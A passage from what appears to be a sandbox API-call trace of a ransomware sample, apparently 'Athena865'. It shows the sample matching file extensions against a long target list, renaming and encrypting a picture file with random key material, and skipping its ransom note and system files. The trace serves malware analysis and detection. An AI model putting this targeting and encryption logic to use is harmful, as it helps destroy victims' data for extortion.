(lpString1="-BE_3cSpj5VFil 1.png", lpString2=".sys") returned 1 [0051.388] lstrlenW (lpString="-BE_3cSpj5VFil 1.png") returned 20 [0051.388] lstrlenW (lpString="bak") returned 3 [0051.388] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0051.388] lstrlenW (lpString="ba_") returned 3 [0051.388] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0051.388] lstrlenW (lpString="dbb") returned 3 [0051.388] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0051.388] lstrlenW (lpString="vmdk") returned 4 [0051.388] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0051.388] lstrlenW (lpString="rar") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0051.389] lstrlenW (lpString="zip") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0051.389] lstrlenW (lpString="tgz") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0051.389] lstrlenW (lpString="vbox") returned 4 [0051.389] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0051.389] lstrlenW (lpString="vdi") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0051.389] lstrlenW (lpString="vhd") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0051.389] lstrlenW (lpString="vhdx") returned 4 [0051.389] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0051.389] lstrlenW (lpString="avhd") returned 4 [0051.389] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0051.389] lstrlenW (lpString="db") returned 2 [0051.389] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0051.389] lstrlenW (lpString="db2") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0051.389] lstrlenW (lpString="db3") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0051.389] lstrlenW (lpString="dbf") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0051.389] lstrlenW (lpString="mdf") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0051.389] lstrlenW (lpString="mdb") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0051.389] lstrlenW (lpString="sql") returned 3 [0051.389] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0051.389] lstrlenW (lpString="sqlite") returned 6 [0051.389] lstrcmpiW (lpString1=" 1.png", lpString2="sqlite") returned -1 [0051.389] lstrlenW (lpString="sqlite3") returned 7 [0051.389] lstrcmpiW (lpString1="l 1.png", lpString2="sqlite3") returned -1 [0051.390] lstrlenW (lpString="sqlitedb") returned 8 [0051.390] lstrcmpiW (lpString1="il 1.png", lpString2="sqlitedb") returned -1 [0051.390] lstrlenW (lpString="xml") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0051.390] lstrlenW (lpString="$er") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0051.390] lstrlenW (lpString="4dd") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0051.390] lstrlenW (lpString="4dl") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0051.390] lstrlenW (lpString="^^^") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0051.390] lstrlenW (lpString="abs") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0051.390] lstrlenW (lpString="abx") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0051.390] lstrlenW (lpString="accdb") returned 5 [0051.390] lstrcmpiW (lpString1="1.png", lpString2="accdb") returned -1 [0051.390] lstrlenW (lpString="accdc") returned 5 [0051.390] lstrcmpiW (lpString1="1.png", lpString2="accdc") returned -1 [0051.390] lstrlenW (lpString="accde") returned 5 [0051.390] lstrcmpiW (lpString1="1.png", lpString2="accde") returned -1 [0051.390] lstrlenW (lpString="accdr") returned 5 [0051.390] lstrcmpiW (lpString1="1.png", lpString2="accdr") returned -1 [0051.390] lstrlenW (lpString="accdt") returned 5 [0051.390] lstrcmpiW (lpString1="1.png", lpString2="accdt") returned -1 [0051.390] lstrlenW (lpString="accdw") returned 5 [0051.390] lstrcmpiW (lpString1="1.png", lpString2="accdw") returned -1 [0051.390] lstrlenW (lpString="accft") returned 5 [0051.390] lstrcmpiW (lpString1="1.png", lpString2="accft") returned -1 [0051.390] lstrlenW (lpString="adb") returned 3 [0051.390] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0051.390] lstrlenW (lpString="adb") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0051.391] lstrlenW (lpString="ade") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0051.391] lstrlenW (lpString="adf") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0051.391] lstrlenW (lpString="adn") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0051.391] lstrlenW (lpString="adp") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0051.391] lstrlenW (lpString="alf") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0051.391] lstrlenW (lpString="ask") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0051.391] lstrlenW (lpString="btr") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0051.391] lstrlenW (lpString="cat") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0051.391] lstrlenW (lpString="cdb") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0051.391] lstrlenW (lpString="ckp") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0051.391] lstrlenW (lpString="cma") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0051.391] lstrlenW (lpString="cpd") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0051.391] lstrlenW (lpString="dacpac") returned 6 [0051.391] lstrcmpiW (lpString1=" 1.png", lpString2="dacpac") returned -1 [0051.391] lstrlenW (lpString="dad") returned 3 [0051.391] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0051.391] lstrlenW (lpString="dadiagrams") returned 10 [0051.391] lstrcmpiW (lpString1="VFil 1.png", lpString2="dadiagrams") returned 1 [0051.391] lstrlenW (lpString="daschema") returned 8 [0051.391] lstrcmpiW (lpString1="il 1.png", lpString2="daschema") returned 1 [0051.392] lstrlenW (lpString="db-journal") returned 10 [0051.392] lstrcmpiW (lpString1="VFil 1.png", lpString2="db-journal") returned 1 [0051.392] lstrlenW (lpString="db-shm") returned 6 [0051.392] lstrcmpiW (lpString1=" 1.png", lpString2="db-shm") returned -1 [0051.392] lstrlenW (lpString="db-wal") returned 6 [0051.392] lstrcmpiW (lpString1=" 1.png", lpString2="db-wal") returned -1 [0051.392] lstrlenW (lpString="dbc") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0051.392] lstrlenW (lpString="dbs") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0051.392] lstrlenW (lpString="dbt") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0051.392] lstrlenW (lpString="dbv") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0051.392] lstrlenW (lpString="dbx") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0051.392] lstrlenW (lpString="dcb") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0051.392] lstrlenW (lpString="dct") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0051.392] lstrlenW (lpString="dcx") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0051.392] lstrlenW (lpString="ddl") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0051.392] lstrlenW (lpString="dlis") returned 4 [0051.392] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0051.392] lstrlenW (lpString="dp1") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0051.392] lstrlenW (lpString="dqy") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0051.392] lstrlenW (lpString="dsk") returned 3 [0051.392] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0051.392] lstrlenW (lpString="dsn") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0051.393] lstrlenW (lpString="dtsx") returned 4 [0051.393] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0051.393] lstrlenW (lpString="dxl") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0051.393] lstrlenW (lpString="eco") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0051.393] lstrlenW (lpString="ecx") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0051.393] lstrlenW (lpString="edb") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0051.393] lstrlenW (lpString="epim") returned 4 [0051.393] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0051.393] lstrlenW (lpString="fcd") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0051.393] lstrlenW (lpString="fdb") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0051.393] lstrlenW (lpString="fic") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0051.393] lstrlenW (lpString="flexolibrary") returned 12 [0051.393] lstrcmpiW (lpString1="j5VFil 1.png", lpString2="flexolibrary") returned 1 [0051.393] lstrlenW (lpString="fm5") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0051.393] lstrlenW (lpString="fmp") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0051.393] lstrlenW (lpString="fmp12") returned 5 [0051.393] lstrcmpiW (lpString1="1.png", lpString2="fmp12") returned -1 [0051.393] lstrlenW (lpString="fmpsl") returned 5 [0051.393] lstrcmpiW (lpString1="1.png", lpString2="fmpsl") returned -1 [0051.393] lstrlenW (lpString="fol") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0051.393] lstrlenW (lpString="fp3") returned 3 [0051.393] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0051.394] lstrlenW (lpString="fp4") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0051.394] lstrlenW (lpString="fp5") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0051.394] lstrlenW (lpString="fp7") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0051.394] lstrlenW (lpString="fpt") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0051.394] lstrlenW (lpString="frm") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0051.394] lstrlenW (lpString="gdb") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0051.394] lstrlenW (lpString="gdb") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0051.394] lstrlenW (lpString="grdb") returned 4 [0051.394] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0051.394] lstrlenW (lpString="gwi") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0051.394] lstrlenW (lpString="hdb") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0051.394] lstrlenW (lpString="his") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0051.394] lstrlenW (lpString="ib") returned 2 [0051.394] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0051.394] lstrlenW (lpString="idb") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0051.394] lstrlenW (lpString="ihx") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0051.394] lstrlenW (lpString="itdb") returned 4 [0051.394] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0051.394] lstrlenW (lpString="itw") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0051.394] lstrlenW (lpString="jet") returned 3 [0051.394] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0051.395] lstrlenW (lpString="jtx") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0051.395] lstrlenW (lpString="kdb") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0051.395] lstrlenW (lpString="kexi") returned 4 [0051.395] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0051.395] lstrlenW (lpString="kexic") returned 5 [0051.395] lstrcmpiW (lpString1="1.png", lpString2="kexic") returned -1 [0051.395] lstrlenW (lpString="kexis") returned 5 [0051.395] lstrcmpiW (lpString1="1.png", lpString2="kexis") returned -1 [0051.395] lstrlenW (lpString="lgc") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0051.395] lstrlenW (lpString="lwx") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0051.395] lstrlenW (lpString="maf") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0051.395] lstrlenW (lpString="maq") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0051.395] lstrlenW (lpString="mar") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0051.395] lstrlenW (lpString="marshal") returned 7 [0051.395] lstrcmpiW (lpString1="l 1.png", lpString2="marshal") returned -1 [0051.395] lstrlenW (lpString="mas") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0051.395] lstrlenW (lpString="mav") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0051.395] lstrlenW (lpString="maw") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0051.395] lstrlenW (lpString="mdbhtml") returned 7 [0051.395] lstrcmpiW (lpString1="l 1.png", lpString2="mdbhtml") returned -1 [0051.395] lstrlenW (lpString="mdn") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0051.395] lstrlenW (lpString="mdt") returned 3 [0051.395] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0051.395] lstrlenW (lpString="mfd") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0051.396] lstrlenW (lpString="mpd") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0051.396] lstrlenW (lpString="mrg") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0051.396] lstrlenW (lpString="mud") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0051.396] lstrlenW (lpString="mwb") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0051.396] lstrlenW (lpString="myd") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0051.396] lstrlenW (lpString="ndf") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0051.396] lstrlenW (lpString="nnt") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0051.396] lstrlenW (lpString="nrmlib") returned 6 [0051.396] lstrcmpiW (lpString1=" 1.png", lpString2="nrmlib") returned -1 [0051.396] lstrlenW (lpString="ns2") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0051.396] lstrlenW (lpString="ns3") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0051.396] lstrlenW (lpString="ns4") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0051.396] lstrlenW (lpString="nsf") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0051.396] lstrlenW (lpString="nv") returned 2 [0051.396] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0051.396] lstrlenW (lpString="nv2") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0051.396] lstrlenW (lpString="nwdb") returned 4 [0051.396] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0051.396] lstrlenW (lpString="nyf") returned 3 [0051.396] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0051.396] lstrlenW (lpString="odb") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0051.397] lstrlenW (lpString="odb") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0051.397] lstrlenW (lpString="oqy") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0051.397] lstrlenW (lpString="ora") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0051.397] lstrlenW (lpString="orx") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0051.397] lstrlenW (lpString="owc") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0051.397] lstrlenW (lpString="p96") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0051.397] lstrlenW (lpString="p97") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0051.397] lstrlenW (lpString="pan") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0051.397] lstrlenW (lpString="pdb") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0051.397] lstrlenW (lpString="pdm") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0051.397] lstrlenW (lpString="pnz") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0051.397] lstrlenW (lpString="qry") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0051.397] lstrlenW (lpString="qvd") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0051.397] lstrlenW (lpString="rbf") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0051.397] lstrlenW (lpString="rctd") returned 4 [0051.397] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0051.397] lstrlenW (lpString="rod") returned 3 [0051.397] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0051.397] lstrlenW (lpString="rodx") returned 4 [0051.397] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0051.398] lstrlenW (lpString="rpd") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0051.398] lstrlenW (lpString="rsd") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0051.398] lstrlenW (lpString="sas7bdat") returned 8 [0051.398] lstrcmpiW (lpString1="il 1.png", lpString2="sas7bdat") returned -1 [0051.398] lstrlenW (lpString="sbf") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0051.398] lstrlenW (lpString="scx") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0051.398] lstrlenW (lpString="sdb") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0051.398] lstrlenW (lpString="sdc") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0051.398] lstrlenW (lpString="sdf") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0051.398] lstrlenW (lpString="sis") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0051.398] lstrlenW (lpString="spq") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0051.398] lstrlenW (lpString="te") returned 2 [0051.398] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0051.398] lstrlenW (lpString="teacher") returned 7 [0051.398] lstrcmpiW (lpString1="l 1.png", lpString2="teacher") returned -1 [0051.398] lstrlenW (lpString="tmd") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0051.398] lstrlenW (lpString="tps") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0051.398] lstrlenW (lpString="trc") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0051.398] lstrlenW (lpString="trc") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0051.398] lstrlenW (lpString="trm") returned 3 [0051.398] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0051.399] lstrlenW (lpString="udb") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0051.399] lstrlenW (lpString="udl") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0051.399] lstrlenW (lpString="usr") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0051.399] lstrlenW (lpString="v12") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0051.399] lstrlenW (lpString="vis") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0051.399] lstrlenW (lpString="vpd") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0051.399] lstrlenW (lpString="vvv") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0051.399] lstrlenW (lpString="wdb") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0051.399] lstrlenW (lpString="wmdb") returned 4 [0051.399] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0051.399] lstrlenW (lpString="wrk") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0051.399] lstrlenW (lpString="xdb") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0051.399] lstrlenW (lpString="xld") returned 3 [0051.399] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0051.399] lstrlenW (lpString="xmlff") returned 5 [0051.399] lstrcmpiW (lpString1="1.png", lpString2="xmlff") returned -1 [0051.399] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\-BE_3cSpj5VFil 1.png.Athena865") returned 86 [0051.399] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\-BE_3cSpj5VFil 1.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\-be_3cspj5vfil 1.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\-BE_3cSpj5VFil 1.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\-be_3cspj5vfil 1.png.athena865"), dwFlags=0x1) returned 1 [0051.400] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\-BE_3cSpj5VFil 1.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\-be_3cspj5vfil 1.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.400] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20018) returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.400] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.401] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.401] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.401] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5140, lpName=0x0) returned 0x154 [0051.402] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5140) returned 0x100000 [0051.403] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.403] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.403] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.494] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.497] CloseHandle (hObject=0x154) returned 1 [0051.497] CloseHandle (hObject=0x17c) returned 1 [0051.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.503] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab575fe0, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0x3a310d90, ftLastAccessTime.dwHighDateTime=0x1d4ceb6, ftLastWriteTime.dwLowDateTime=0x3a310d90, ftLastWriteTime.dwHighDateTime=0x1d4ceb6, nFileSizeHigh=0x0, nFileSizeLow=0x7e3d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0DtmKOGs7JD.png", cAlternateFileName="0DTMKO~1.PNG")) returned 1 [0051.503] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.503] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.503] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2=".") returned 1 [0051.503] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="..") returned 1 [0051.503] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="windows") returned -1 [0051.503] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="bootmgr") returned -1 [0051.503] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="temp") returned -1 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="pagefile.sys") returned -1 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="boot") returned -1 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="ids.txt") returned -1 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="ntuser.dat") returned -1 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2="perflogs") returned -1 [0051.504] lstrcmpiW 